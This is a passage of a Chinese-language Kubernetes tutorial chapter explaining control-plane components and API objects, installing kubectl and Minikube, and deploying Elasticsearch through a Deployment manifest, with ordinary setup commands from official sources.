):Docker 引擎包含一种集群模式,用于管理称为swarm的集群中的 Docker 容器。您还可以使用 Docker Compose 将某些容器组合在一起。 -
Kubernetes:事实上的集群管理工具。
我们将使用 Kubernetes,因为它拥有最成熟的生态系统,并且是事实上的行业标准。
控制平面和组件
我们之前描述的组件——调度器、发现服务、全局配置存储等——是所有现有集群管理工具的共同点。它们之间的区别在于它们如何打包这些组件并抽象出细节。在 Kubernetes 中,这些组件被恰当地命名为 Kubernetes 组件。
我们将通过使用大写字母来区分 Kubernetes 组件的通用“组件”。
在 Kubernetes 术语中,一个“组件”是一个实现 Kubernetes 集群系统某个部分的进程;例如包括kube-apiserver
和kube-scheduler
。所有组件的总和构成了您所认为的“Kubernetes 系统”,正式名称为控制平面。
与我们将集群工具分类为集群级工具和节点级工具的方式类似,Kubernetes 将 Kubernetes 组件分别分类为主组件和节点组件。节点组件在其运行的节点内操作;主组件与多个节点或整个集群一起工作,持有集群级设置、配置和状态,并做出集群级决策。主组件共同构成了主控制平面。
Kubernetes 还提供了附加组件——这些组件不是严格必需的,但提供了诸如 Web UI、指标和日志记录等有用的功能。
在这个术语的基础上,让我们比较我们描述的通用集群架构与 Kubernetes 的架构。
主组件
发现服务、全局配置存储和调度器是用etcd
和kube-scheduler
主组件实现的:
-
etcd
是一个一致且高可用的键值存储(KV),用作发现服务和全局配置存储。由于发现服务和全局配置存储都包含有关服务的信息,并且所有节点都可以访问它们,因此
etcd
可以同时服务于这两个目的。每当服务向发现服务注册时,它也会收到一组配置设置。 -
kube-scheduler
是一个调度器。它跟踪哪些应用程序尚未分配给节点(因此尚未运行),并决定将其分配给哪个节点。
除了这些基本的集群管理组件之外,Kubernetes 还提供了额外的 Master 组件,以使使用 Kubernetes 更加容易。
默认情况下,所有 Master 组件都在单个 Master Node 上运行,该节点只运行 Master 组件而不运行其他容器/服务。然而,它们可以被配置为进行复制,以提供冗余。
kube-apiserver
Kubernetes 以守护进程的形式运行,暴露了一个 RESTful Kubernetes API 服务器——kube-apiserver
。kube-apiserver
充当主控制平面的接口。你不需要单独与每个 Kubernetes 组件通信,而是向 kube-apiserver
发起调用,它将代表你与每个组件通信:
这带来了许多好处,包括以下内容:
-
你有一个中心位置,所有更改都会通过这个位置。这允许你记录集群中发生的一切的历史。
-
API 提供了统一的语法。
kube-control-manager
正如我们稍后将要展示的,Kubernetes 的一个核心概念,以及你最初使用集群管理工具的原因,就是你不需要 手动 操作集群。
这样做将包括向一个组件发送请求,接收响应,然后根据该响应向另一个组件发送另一个请求。这是 命令式 方法,因为它需要你手动编写程序来实现这种逻辑,所以比较耗时。
相反,Kubernetes 允许我们通过配置文件指定我们集群的期望状态,Kubernetes 将自动协调不同的 Kubernetes 组件来实现这一目标。这是一种 声明式 方法,也是 Kubernetes 推荐的方法。
将这一点与我们已知的内容联系起来,整个 Kubernetes 系统(控制平面)的工作就变成了一个试图使集群的当前状态与期望状态保持一致的系统。
Kubernetes 通过 控制器 来完成这项工作。控制器是执行保持集群状态与期望状态一致的实际动作的进程。
有许多类型的控制器;以下有两个例子:
-
节点控制器,用于确保集群有期望数量的节点。例如,当一个节点失败时,节点控制器负责启动一个新的节点。
-
副本控制器,用于确保每个应用程序都有期望数量的副本。
一旦我们解释了 Kubernetes 对象并在 Kubernetes 上部署了第一个服务,kube-controller-manager
的控制器角色就会变得更加清晰。
节点组件
节点级工具在 Kubernetes 中作为节点组件实现。
容器运行时
Kubernetes 在容器内运行应用程序和服务,并期望集群中的每个节点都已经安装了相应的容器运行时;这可以通过像 Terraform 这样的配置工具来完成。
然而,它并不指定任何特定的容器格式,只要它是遵循开放容器倡议(OCI)的运行时规范(github.com/opencontainers/runtime-spec
)的格式。例如,你可以使用 Docker、rkt(由 CoreOS 提供)或 runc(由 OCI 提供)/ CRI-O(由 Kubernetes 团队提供)作为容器格式和运行时。
kubelet
在通用的集群架构中,我们的集群需要一个本地的配置管理工具,如confd
,从发现服务和全局配置存储中拉取更新。这确保了在节点上运行的应用程序正在使用最新的参数。
在 Kubernetes 中,这是kubelet
的工作。然而,kubelet
不仅仅只是更新本地配置和重启服务。它还监控每个服务,确保它们正在运行并且健康,并通过kube-apiserver
将它们的状态报告回etcd
。
kube-proxy
在集群中部署的每个应用程序(包括副本)都被分配了虚拟 IP。然而,随着应用程序的关闭和重新部署到其他地方,它们的虚拟 IP 可能会改变。我们将在稍后详细介绍,但 Kubernetes 提供了一个服务对象,为我们的最终用户提供了一个静态 IP 地址进行调用。kube-proxy
是运行在每个节点上的网络代理,充当一个简单的负载均衡器,将来自静态 IP 地址的请求转发(或代理)到复制的应用程序之一的虚拟 IP 地址。
当我们创建服务时,kube-proxy
的作用将变得更加明显。
Kubernetes 对象
现在你已经了解了构成 Kubernetes 系统的不同组件,让我们将注意力转向Kubernetes API 对象,或简称对象(大写 O)。
正如你所知,在使用 Kubernetes 时,你不需要直接与单个 Kubernetes 组件交互;相反,你与kube-apiserver
交互,API 服务器将代表你协调操作。
API 将原始进程和实体抽象成称为对象的概念。例如,你不会要求 API 服务器“在节点上运行这些相关容器的组”,而是会要求“将这个 Pod 添加到集群”。在这里,容器组被抽象为一个Pod对象。当我们与 Kubernetes 一起工作时,我们只是在向 Kubernetes API 发送请求来操作这些对象。
四个基本对象
Kubernetes 有四个基本对象:
-
Pod:一组紧密相关的容器,应该作为一个单一单元进行管理
-
Service:一个抽象,将来自静态 IP 的请求代理到运行应用程序的 Pod 的动态虚拟 IP
-
Volume:这为同一 Pod 内的所有容器提供共享存储
-
Namespace:这允许你将单个物理集群分割成多个虚拟集群
高级对象
这些基本对象可以在此基础上构建,形成更高级的对象:
-
副本集:管理一组 Pod,以确保在集群内保持指定数量的副本
-
部署:比副本集更高层次的概念,部署对象将管理副本集以确保运行正确的副本数量,同时允许您更新配置以更新/部署新的副本集。
-
有状态集:类似于部署,但在部署中,当 Pod 重启(例如,由于调度)时,旧 Pod 将被销毁并创建一个新的 Pod。尽管这些 Pod 使用相同的规范创建,但它们是不同的 Pod,因为前一个 Pod 的数据没有持久化。在有状态集中,旧 Pod 可以在重启之间持久其状态。
-
DaemonSet:类似于副本集,但与指定要运行的副本数量不同,DaemonSet 旨在在集群的每个节点上运行。
-
作业:与无限期运行 Pod 不同,作业对象会生成新的 Pod 来执行具有有限时间线的任务,并在任务完成后确保 Pod 成功终止。
上述高级对象依赖于四个基本对象。
控制器
这些高级对象由控制器运行和管理,实际上执行操作以操纵对象。
例如,当我们创建一个部署时,部署控制器管理配置中指定的 Pod 和副本集。负责将实际状态更改为所需状态的正是这个控制器。
大多数对象都有一个相应的控制器——副本集对象由副本集控制器管理,DaemonSet 由 DaemonSet 控制器管理,依此类推。
除了这些,还有许多其他的控制器,其中最常见的列如下:
-
节点控制器:负责在节点掉线时注意到并做出响应
-
副本控制器:负责维护系统中每个副本控制器对象正确的 Pod 数量
-
路由控制器
-
卷控制器
-
服务控制器:在负载均衡器上工作,并将请求直接发送到相应的 Pod
-
端点控制器:填充端点对象,该对象将服务对象和 Pod 连接起来
-
服务账户和令牌控制器:为新的命名空间创建默认账户和 API 访问令牌
这些高级对象及其控制器代表您管理基本对象,提供在使用集群管理工具时您期望的额外便利。我们将在此章的后面部分演示这些对象的使用,我们将迁移应用程序以在 Kubernetes 上运行。
设置本地开发环境
现在您已经了解了 Kubernetes 的不同组件以及 API 提供的抽象(对象),我们准备将我们的应用程序部署迁移到使用 Kubernetes。在本节中,我们将通过在我们的本地机器上运行 Kubernetes 来学习 Kubernetes 的基础知识。在本章的后面部分,我们将基于我们所学的内容,在多个 VPS 上部署我们的应用程序,这些 VPS 由云服务提供商管理。
检查硬件要求
要在本地运行 Kubernetes,您的机器需要满足以下硬件要求:
-
至少有 2 GB 的可用 RAM
-
拥有两个或更多 CPU 核心
-
交换空间已禁用
确保您正在使用满足这些要求的机器。
清理我们的环境
由于 Kubernetes 为我们管理应用程序容器,我们不再需要管理自己的 Docker 容器。因此,让我们通过删除与我们的应用程序相关的任何 Docker 容器和镜像来提供一个干净的工作环境。您可以通过运行docker ps -a
和docker images
来查看所有容器和镜像的列表,然后使用docker stop <container>
、docker rm <container>
和docker rmi <image>
来删除相关的容器和镜像。
禁用交换内存
在本地运行 Kubernetes 需要您关闭交换内存。您可以通过运行swapoff -a
来实现:
$ sudo swapoff -a
安装 kubectl
虽然我们可以通过使用像curl
这样的程序发送原始 HTTP 请求与 Kubernetes API 交互,但 Kubernetes 提供了一个方便的命令行客户端,称为kubectl
。让我们来安装它:
$ curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.10.3/bin/linux/amd64/kubectl && chmod +x ./kubectl && sudo mv ./kubectl /usr/local/bin/kubectl
您可以在kubernetes.io/docs/tasks/tools/install-kubectl/找到其他安装方法。
您可以通过运行kubectl version
来检查安装是否成功:
$ kubectl version
Client Version: version.Info{Major:"1", Minor:"10", GitVersion:"v1.10.3", GitCommit:"2bba0127d85d5a46ab4b778548be28623b32d0b0", GitTreeState:"clean", BuildDate:"2018-05-21T09:17:39Z", GoVersion:"go1.9.3", Compiler:"gc", Platform:"linux/amd64"}
最后,kubectl
提供了自动补全功能;要激活它,只需运行以下代码:
$ echo "source <(kubectl completion bash)" >> ~/.bashrc
安装 Minikube
Minikube 是由 Kubernetes 团队开发的一个免费开源工具,它允许您轻松地在本地运行单个节点 Kubernetes 集群。如果没有 Minikube,您将不得不自己安装和配置kubectl
和kubeadm
(用于提供)。
因此,让我们按照在github.com/kubernetes/minikube/releases
找到的说明来安装 Minikube。对于 Ubuntu,我们可以选择运行安装脚本或安装.deb
包。
在撰写本书时,.deb
包的安装仍然是实验性的,因此我们将选择安装脚本。例如,要安装 Minikube v0.27.0,我们可以运行以下命令:
$ curl -Lo minikube https://storage.googleapis.com/minikube/releases/v0.27.0/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/
您可以使用相同的命令来更新minikube
。
安装虚拟机管理程序或 Docker Machine
通常,Minikube 在虚拟机(VM)内部运行单个节点集群,这需要安装一个虚拟机管理程序,如 VirtualBox 或 KVM。这需要大量的设置,并且对性能不是很好。
相反,我们可以指示 Minikube 在任何 VM 之外直接在我们的机器上运行 Kubernetes 组件。这需要在我们的机器上安装 Docker 运行时和 Docker Machine。如果你遵循了我们之前的章节,Docker 运行时应该已经安装好了,所以让我们安装 Docker Machine:
$ base=https://github.com/docker/machine/releases/download/v0.14.0 &&
curl -L $base/docker-machine-$(uname -s)-$(uname -m) >/tmp/docker-machine &&
sudo install /tmp/docker-machine /usr/local/bin/docker-machine
安装后,运行 docker-machine version
以确认安装成功:
$ docker-machine version
docker-machine version 0.14.0, build 89b8332
在 Docker 上使用 Minikube 运行你的集群仅在 Linux 机器上可用。如果你不是使用 Linux 机器,请访问 Minikube 文档,按照设置 VM 环境和使用 VM 驱动程序的说明操作。本章的其余部分对你仍然适用。只需记住在运行 minikube start
时使用正确的 --vm-driver
标志。
创建我们的集群
在 Kubernetes 守护进程(由 minikube
安装和运行)和 Kubernetes 客户端(kubectl
)安装后,我们现在可以运行 minikube start
来创建和启动我们的集群。由于我们不使用 VM,我们需要传递 --vm-driver=none
。
如果你使用 VM,请记住使用正确的 --vm-driver
标志。
我们需要以 root
身份运行 minikube start
命令,因为 kubeadm
和 kubelet
二进制文件需要下载并移动到 /usr/local/bin
,这需要 root 权限。
然而,这通常意味着在安装和初始化过程中创建和写入的所有文件都将由 root
拥有。这使得普通用户修改配置文件变得困难。
幸运的是,Kubernetes 提供了几个环境变量,我们可以设置以更改此设置。
为本地集群设置环境变量
在 .profile
(或其等效文件,如 .bash_profile
或 .bashrc
)中,在末尾添加以下行:
export MINIKUBE_WANTUPDATENOTIFICATION=false
export MINIKUBE_WANTREPORTERRORPROMPT=false
export MINIKUBE_HOME=$HOME
export CHANGE_MINIKUBE_NONE_USER=true
export KUBECONFIG=$HOME/.kube/config
CHANGE_MINIKUBE_NONE_USER
告诉 minikube
将当前用户指定为配置文件的拥有者。MINIKUBE_HOME
告诉 minikube
将 Minikube 特定的配置存储在 ~/.minikube
中,而 KUBECONFIG
告诉 minikube
将 Kubernetes 特定的配置存储在 ~/.kube/config
中。
要将这些环境变量应用到当前 shell 中,请运行以下命令:
$ . .profile
最后,我们需要在主目录下实际创建一个 .kube/config
配置文件:
$ mkdir -p $HOME/.kube
$ touch $HOME/.kube/config
运行 minikube start
在设置好环境变量后,我们终于可以运行 minikube start
:
$ sudo -E minikube start --vm-driver=none
Starting local Kubernetes v1.10.0 cluster...
Starting VM...
Getting VM IP address...
Moving files into cluster...
Setting up certs...
Connecting to cluster...
Setting up kubeconfig...
Starting cluster components...
Kubectl is now configured to use the cluster.
此命令在幕后执行多个操作:
-
如果我们使用 VM,则配置任何 VM。这是由 Docker Machine 的 libmachine 内部完成的。
-
在
./kube
和./minikube
下设置配置文件和证书。 -
使用
localkube
启动本地 Kubernetes 集群。 -
配置
kubectl
以与此集群通信。
由于我们正在本地开发并使用 --vm-driver=none
标志,我们的机器成为集群中唯一的节点。你可以通过使用 kubectl
来确认节点是否已注册到 Kubernetes API 和 etcd
:
$ kubectl get nodes
NAME STATUS ROLES AGE VERSION
minikube Ready master 15m v1.10.0
所有主组件,如调度器(kube-scheduler
),以及节点组件,如 kubelet
,都在同一个节点上,在 Docker 容器内运行。你可以通过运行 docker ps
来检查它们:
$ docker ps -a --format "table {{.ID}}\t{{.Image}}\t{{.Command}}\t{{.Names}}"
CONTAINER ID IMAGE COMMAND NAMES
3ff67350410a 4689081edb10 "/storage-provisioner" k8s_storage-provisioner_storage-provisioner_kube-system_4d9c2fa3-627a-11e8-a0e4-54e1ad13e25a_0
ec2922978b10 e94d2f21bc0c "/dashboard --insecu…" k8s_kubernetes-dashboard_kubernetes-dashboard-5498ccf677-sslhz_kube-system_4d949c82-627a-11e8-a0e4-54e1ad13e25a_0
f9f5b8fe1a41 k8s.gcr.io/pause-amd64:3.1 "/pause" k8s_POD_storage-provisioner_kube-system_4d9c2fa3-627a-11e8-a0e4-54e1ad13e25a_0
f5b013b0278d 6f7f2dc7fab5 "/sidecar --v=2 --lo…" k8s_sidecar_kube-dns-86f4d74b45-hs88j_kube-system_4cbede66-627a-11e8-a0e4-54e1ad13e25a_0
f2d120dce2ed k8s.gcr.io/pause-amd64:3.1 "/pause" k8s_POD_kubernetes-dashboard-5498ccf677-sslhz_kube-system_4d949c82-627a-11e8-a0e4-54e1ad13e25a_0
50ae3b880b4a c2ce1ffb51ed "/dnsmasq-nanny -v=2…" k8s_dnsmasq_kube-dns-86f4d74b45-hs88j_kube-system_4cbede66-627a-11e8-a0e4-54e1ad13e25a_0
a8f677cdc43b 80cc5ea4b547 "/kube-dns --domain=…" k8s_kubedns_kube-dns-86f4d74b45-hs88j_kube-system_4cbede66-627a-11e8-a0e4-54e1ad13e25a_0
d287909bae1d bfc21aadc7d3 "/usr/local/bin/kube…" k8s_kube-proxy_kube-proxy-m5lrh_kube-system_4cbf007c-627a-11e8-a0e4-54e1ad13e25a_0
e14d9c837ae4 k8s.gcr.io/pause-amd64:3.1 "/pause" k8s_POD_kube-dns-86f4d74b45-hs88j_kube-system_4cbede66-627a-11e8-a0e4-54e1ad13e25a_0
896beface410 k8s.gcr.io/pause-amd64:3.1 "/pause" k8s_POD_kube-proxy-m5lrh_kube-system_4cbf007c-627a-11e8-a0e4-54e1ad13e25a_0
9f87d1105edb 52920ad46f5b "etcd --listen-clien…" k8s_etcd_etcd-minikube_kube-system_a2c07ce803646801a9f5a70371449d58_0
570a4e5447f8 af20925d51a3 "kube-apiserver --ad…" k8s_kube-apiserver_kube-apiserver-minikube_kube-system_8900f73fb607cc89d618630016758228_0
87931be974c0 9c16409588eb "/opt/kube-addons.sh" k8s_kube-addon-manager_kube-addon-manager-minikube_kube-system_3afaf06535cc3b85be93c31632b765da_0
897928af3c85 704ba848e69a "kube-scheduler --ad…" k8s_kube-scheduler_kube-scheduler-minikube_kube-system_31cf0ccbee286239d451edb6fb511513_0
b3a7fd175e47 ad86dbed1555 "kube-controller-man…" k8s_kube-controller-manager_kube-controller-manager-minikube_kube-system_c871518ac418f1edf0247e23d5b99a40_0
fd50ec94b68f k8s.gcr.io/pause-amd64:3.1 "/pause" k8s_POD_kube-apiserver-minikube_kube-system_8900f73fb607cc89d618630016758228_0
85a38deae7ad k8s.gcr.io/pause-amd64:3.1 "/pause" k8s_POD_etcd-minikube_kube-system_a2c07ce803646801a9f5a70371449d58_0
326fd83d6630 k8s.gcr.io/pause-amd64:3.1 "/pause" k8s_POD_kube-addon-manager-minikube_kube-system_3afaf06535cc3b85be93c31632b765da_0
e3dd5b372dab k8s.gcr.io/pause-amd64:3.1 "/pause" k8s_POD_kube-scheduler-minikube_kube-system_31cf0ccbee286239d451edb6fb511513_0
6c2ac7c363d0 k8s.gcr.io/pause-amd64:3.1 "/pause" k8s_POD_kube-controller-manager-minikube_kube-system_c871518ac418f1edf0247e23d5b99a40_0
作为最后的检查,运行 systemctl status kubelet.service
来确保 kubelet
在节点上作为守护进程运行:
$ sudo systemctl status kubelet.service
● kubelet.service - kubelet: The Kubernetes Node Agent
Loaded: loaded (/lib/systemd/system/kubelet.service; enabled; vendor preset: enable
Drop-In: /etc/systemd/system/kubelet.service.d
└─10-kubeadm.conf
Active: active (running) since Mon 2018-05-28 14:22:59 BST; 2h 5min ago
Docs: http://kubernetes.io/docs/
Main PID: 23793 (kubelet)
Tasks: 18 (limit: 4915)
Memory: 55.5M
CPU: 8min 28.571s
CGroup: /system.slice/kubelet.service
└─23793 /usr/bin/kubelet --fail-swap-on=false --allow-privileged=true --clu
现在一切都已经设置好了。你可以通过运行 minikube status
和 kubectl cluster-info
来确认:
$ minikube status
minikube: Running
cluster: Running
kubectl: Correctly Configured: pointing to minikube-vm at 10.122.98.148
$ kubectl cluster-info
Kubernetes master is running at https://10.122.98.148:8443
KubeDNS is running at https://10.122.98.148:8443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
更新上下文
如果你更改了计算机连接的本地网络,集群的 IP 可能会改变。如果你在此更改后尝试使用 kubectl
连接到集群,你会看到一个错误,表明“网络不可达”:
$ kubectl cluster-info
Kubernetes master is running at https://10.122.35.199:8443
Unable to connect to the server: dial tcp 10.122.35.199:8443: connect: network is unreachable
每当你看到这样的错误时,运行 minikube status
来检查集群的状态:
$ minikube status
minikube: Running
cluster: Running
kubectl: Misconfigured: pointing to stale minikube-vm.
To fix the kubectl context, run minikube update-context
在这种情况下,它告诉我们 kubectl
正在“指向过时的 minikube-vm
”,我们应该运行 minikube update-context
来更新 kubectl
以指向新的集群 IP:
$ minikube update-context
Reconfigured kubeconfig IP, now pointing at 192.168.1.11
在此之后,检查 kubectl
是否能够与 Kubernetes API 服务器通信:
$ kubectl cluster-info
Kubernetes master is running at https://192.168.1.11:8443
KubeDNS is running at https://192.168.1.11:8443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
重置集群
与 Kubernetes 一起工作可能会很棘手,尤其是在开始时。如果你遇到问题并且无法解决,可以使用 kubeadm reset
来重置与我们的 Kubernetes 集群相关的所有内容,并从头开始:
$ sudo kubeadm reset
[preflight] Running pre-flight checks.
[reset] Stopping the kubelet service.
[reset] Unmounting mounted directories in "/var/lib/kubelet"
[reset] Removing kubernetes-managed containers.
[reset] No etcd manifest found in "/etc/kubernetes/manifests/etcd.yaml". Assuming external etcd.
[reset] Deleting contents of stateful directories: [/var/lib/kubelet /etc/cni/net.d /var/lib/dockershim /var/run/kubernetes]
[reset] Deleting contents of config directories: [/etc/kubernetes/manifests /etc/kubernetes/pki]
[reset] Deleting files: [/etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf /etc/kubernetes/bootstrap-kubelet.conf /etc/kubernetes/controller-manager.conf /etc/kubernetes/scheduler.conf]
现在尝试一下。然后,运行之前相同的 minikube start
命令来重新创建集群:
$ sudo -E minikube start --vm-driver=none
$ minikube status
minikube: Running
cluster: Running
kubectl: Correctly Configured: pointing to minikube-vm at 192.168.1.11
$ kubectl cluster-info
Kubernetes master is running at https://192.168.1.11:8443
KubeDNS is running at https://192.168.1.11:8443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
创建我们的第一个 Pod
现在我们已经在本地运行了一个集群,让我们在上面部署我们的 Elasticsearch 服务。使用 Kubernetes,所有服务都在容器内运行。对我们来说,幸运的是,我们已经熟悉 Docker,而 Kubernetes 支持 Docker 容器格式。
然而,Kubernetes 并不是实际单独部署容器,而是部署 Pods。如前所述,Pods 是一种基本的 Kubernetes 对象——由 Kubernetes API 提供的抽象。具体来说,Pods 是应该一起部署和管理的容器的逻辑分组。在 Kubernetes 中,Pods 也是 Kubernetes 管理的最低级单元。
同一个 Pod 内的容器共享以下内容:
-
生命周期:Pod 内的所有容器作为一个单一单元进行管理。当 Pod 启动时,Pod 内的所有容器都将启动(这被称为 共享命运)。当 Pod 需要迁移到不同的节点时,Pod 内的所有容器都将迁移(也称为 协同调度)。
-
上下文:Pod 与其他 Pod 的隔离方式类似于一个 Docker 容器与另一个 Docker 容器的隔离方式。事实上,Kubernetes 使用相同的命名空间和分组机制来隔离 Pod。
-
共享网络:Pod 内的所有容器共享相同的 IP 地址和端口空间,并且可以使用
localhost:<port>
互相通信。它们也可以使用进程间通信(IPC)互相通信。 -
共享存储:容器可以访问一个将在容器外部持久化的共享卷,即使容器重启,卷也会存在:
使用 kubelet 运行 Pod
Pods 由运行在每个节点内部的kubelet
服务运行。有三种方式可以指导kubelet
运行一个 Pod:
-
通过直接传递 Pod 配置文件(或包含配置文件的目录)使用
kubelet --config <path-to-pod-config>
。kubelet
将每 20 秒轮询此目录以查找更改,并根据配置文件(的)任何更改启动新容器或终止容器。 -
通过指定一个返回 Pod 配置文件的 HTTP 端点。就像文件选项一样,
kubelet
每 20 秒轮询端点。 -
通过使用 Kubernetes API 服务器将任何新的 Pod 清单发送到
kubelet
。
前两个选项并不理想,因为:
-
它依赖于轮询,这意味着节点无法快速响应变化
-
Kubernetes API 服务器对这些 Pod 一无所知,因此无法管理它们
相反,我们应该使用kubelet
将我们的意图传达给 Kubernetes API 服务器,并让它协调如何部署我们的 Pod。
使用kubectl run
运行 Pod
首先,确认我们的机器上没有正在运行 Elasticsearch 容器:
$ docker ps -a \
--filter "name=elasticsearch" \
--format "table {{.ID}}\t{{.Image}}\t{{.Command}}\t{{.Names}}"
CONTAINER ID IMAGE COMMAND NAMES
我们现在可以使用kubectl run
在 Pod 内运行一个镜像,并将其部署到我们的集群:
$ kubectl run elasticsearch --image=docker.elastic.co/elasticsearch/elasticsearch-oss:6.3.2 --port=9200 --port=9300
deployment.apps "elasticsearch" created
现在,当我们检查已部署到我们集群的 Pod 时,我们可以看到一个名为elasticsearch-656d7c98c6-s6v58
的新 Pod:
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
elasticsearch-656d7c98c6-s6v58 0/1 ContainerCreating 0 9s
Pod 的初始化可能需要一些时间,尤其是如果 Docker 镜像不在本地且需要下载。最终,你应该看到READY
值变为1/1
:
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
elasticsearch-656d7c98c6-s6v58 1/1 Running 0 1m
理解高级 Kubernetes 对象
一些细心的你可能已经注意到了你在运行kubectl
之后的以下输出:
deployment.apps "elasticsearch" created
当我们运行kubectl run
时,Kubernetes 不会直接创建 Pod;相反,Kubernetes 会自动创建一个 Deployment 对象来为我们管理 Pod。因此,以下两个命令在功能上是等效的:
$ kubectl run <name> --image=<image>
$ kubectl create deployment <name> --image=<image>
为了演示这一点,你可以使用kubectl get deployments
查看活动 Deployment 的列表:
$ kubectl get deployments
NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE
elasticsearch 1 1 1 1 2s
使用 Deployment 对象的好处是它会管理其控制下的 Pod。这意味着如果 Pod 失败,Deployment 将自动为我们重启 Pod。
通常,我们不应该命令式地指示 Kubernetes 创建像 Pod 这样的低级对象,而应该声明式地创建一个更高层次的 Kubernetes 对象,并让 Kubernetes 为我们管理低级对象。
这同样适用于 ReplicaSet——你不应该部署 ReplicaSet;相反,你应该部署一个使用 ReplicaSet 的 Deployment 对象。
声明式而非命令式
Pods、Deployments 和 ReplicaSet 是 Kubernetes 对象的例子。Kubernetes 为你提供了多种运行和管理它们的方法。
-
kubectl run
—命令式:您通过命令行提供指令给 Kubernetes API 以执行 -
kubectl create
—命令式:您以配置文件的形式提供指令给 Kubernetes API 以执行 -
kubectl apply
—声明式:您使用配置文件(s)告诉 Kubernetes API 您集群的期望状态,Kubernetes 将确定达到该状态所需的操作
kubectl create
是对 kubectl run
的轻微改进,因为配置文件(s)现在可以版本控制;然而,由于其命令式本质,它仍然不是理想的。
如果我们使用命令式方法,我们将直接操作 Kubernetes 对象(s),因此需要负责监控所有 Kubernetes 对象。这实际上抵消了拥有集群管理工具的意义。
建议的模式是使用受版本控制的 *清单 *文件以声明方式创建 Kubernetes 对象。
管理技术 | 操作对象 | 推荐环境 | 支持的作者 | 学习曲线 |
---|---|---|---|---|
命令式命令 | 实时对象 | 开发项目 | 1+ | 最低 |
命令式对象配置 | 单个文件 | 生产项目 | 1 | 中等 |
声明式对象配置 | 文件目录 | 生产项目 | 1+ | 最高 |
您还应该注意,命令式和声明式方法互斥——您不能既让 Kubernetes 根据您的配置管理一切,又自己操作对象。这样做会导致 Kubernetes 将您所做的更改检测为与期望状态的偏差,并对此产生反作用,撤销您的更改。因此,我们应该始终使用声明式方法。
删除部署
考虑到这一点,让我们以声明式的方式重新部署我们的 Elasticsearch 服务,使用 kubectl apply
。但首先,我们必须删除现有的部署。我们可以使用 kubectl delete
来完成:
$ kubectl delete deployment elasticsearch
$ kubectl get deployments
No resources found.
创建部署清单
现在,在 manifests/elasticsearch
目录下创建一个新的目录结构,并在其中创建一个名为 deployment.yaml
的新文件。然后,添加以下部署配置:
apiVersion: apps/v1
kind: Deployment
metadata:
name: elasticsearch
spec:
replicas: 3
selector:
matchLabels:
app: elasticsearch
template:
metadata:
name: elasticsearch
labels:
app: elasticsearch
spec:
containers:
- name: elasticsearch
image: docker.elastic.co/elasticsearch/elasticsearch-oss:6.3.2
ports:
- containerPort: 9200
- containerPort: 9300
配置文件由几个字段组成(标记为 *
的字段是必需的):
-
apiVersion*
: API 的版本。这会影响配置文件预期的方案。API 被划分为模块化的 API 组。这允许 Kubernetes 独立开发新功能。它还提供了 Kubernetes 集群管理员对哪些 API 特性想要启用的更细粒度的控制。核心 Kubernetes 对象位于核心组(传统组)中,您可以通过使用
v1
作为apiVersion
属性值来指定。Deployment 位于apps
组下,我们可以通过使用apps/v1
作为apiVersion
属性值来启用它。其他组包括batch
(提供CronJob
对象)、extensions
、scheduling.k8s.io
、settings.k8s.io
以及更多。 -
kind*
:此清单指定的资源类型。在我们的情况下,我们想要创建一个 Deployment,因此我们应该将Deployment
指定为值。kind
的其他有效值包括Pod
和ReplicaSet
,但如前所述,您通常不会使用它们。 -
metadata
:Deployment 的元数据,例如:-
namespace
:在 Kubernetes 中,您可以将单个物理集群分割成多个虚拟集群。默认命名空间是default
,对于我们的用例来说已经足够。 -
name
:一个名称,用于在集群中标识 Deployment。
-
-
spec
:详细说明了 Deployment 的行为,例如:-
replicas
:副本 Pod 的数量,指定在spec.template
中部署 -
template
:ReplicaSet 中每个 Pod 的规范-
metadata
:Pod 的元数据,包括一个label
属性 -
spec
:每个单独 Pod 的规范:-
containers
:属于同一 Pod 并应一起管理的容器列表。 -
selector
:Deployment 控制器知道它应该管理哪些 Pod 的方法。我们使用matchLabels
标准来匹配所有带有标签app: elasticsearch
的 Pod。然后我们在spec.template.metadata.labels
中设置标签。
-
-
-
关于标签的注意事项
在我们的清单文件中,在spec.template.metadata.labels
下,我们指定了我们的 Elasticsearch Pod 应携带标签app: elasticsearch
。
标签是将任意元数据附加到 Kubernetes 对象的两种方法之一,另一种是注解。
标签和注解都作为键值存储实现,但它们有不同的用途:
-
标签:用于标识一个对象属于一组相似的物体。换句话说,它可以用来选择所有相同类型物体的子集。这可以用来仅对所有 Kubernetes 对象的子集应用 Kubernetes 命令。
-
注解:任何其他未用于标识对象的任意元数据。
标签键由两个组件组成——一个可选的前缀和一个名称,由正斜杠(/
)分隔。
前缀作为一种命名空间存在,允许第三方工具仅选择它所管理的对象。例如,核心 Kubernetes 组件有一个前缀为kubernetes.io/
的标签。
使用标签选择器可以选择标记过的对象,例如在我们 Deployment 清单中指定的:
selector:
matchLabels:
app: elasticsearch
此选择器指示 Deployment 控制器仅管理这些 Pod,而不管理其他 Pod。
使用kubectl apply
声明式地运行 Pod
部署清单就绪后,我们可以运行 kubectl apply
来更新集群的期望状态:
$ kubectl apply -f manifests/elasticsearch/deployment.yaml
deployment.apps "elasticsearch" created
这将触发一系列事件:
-
kubectl
将 Deployment 清单发送到 Kubernetes API 服务器(kube-apiserver
)。kube-apiserver
将为其分配一个唯一的 ID,并将其添加到etcd
。 -
API 服务器还将创建相应的 ReplicaSet 和 Pod 对象,并将其添加到
etcd
。 -
调度器监视
etcd
并注意到有一些 Pods 尚未分配给节点。然后,调度器将决定将 Deployment 指定的 Pods 部署在哪里。 -
一旦做出决定,它将通知
etcd
其决定;etcd
记录该决定。 -
在每个节点上运行的
kubelet
服务将注意到etcd
上的此变化,并拉取 PodSpec — Pod 的清单文件。然后,它将根据 PodSpec 运行和管理一个新的 Pod。
在整个过程中,调度器和 kubelets 通过 Kubernetes API 在所有时间保持 etcd
的更新状态。
如果我们在运行 kubectl apply
后的几秒钟内查询 Deployment 的状态,我们将看到 etcd
已经更新了其记录以反映我们的期望状态,但 Pods 和容器尚不可用:
$ kubectl get deployments
NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE
elasticsearch 3 3 3 0 2s
这些数字代表什么? DESIRED
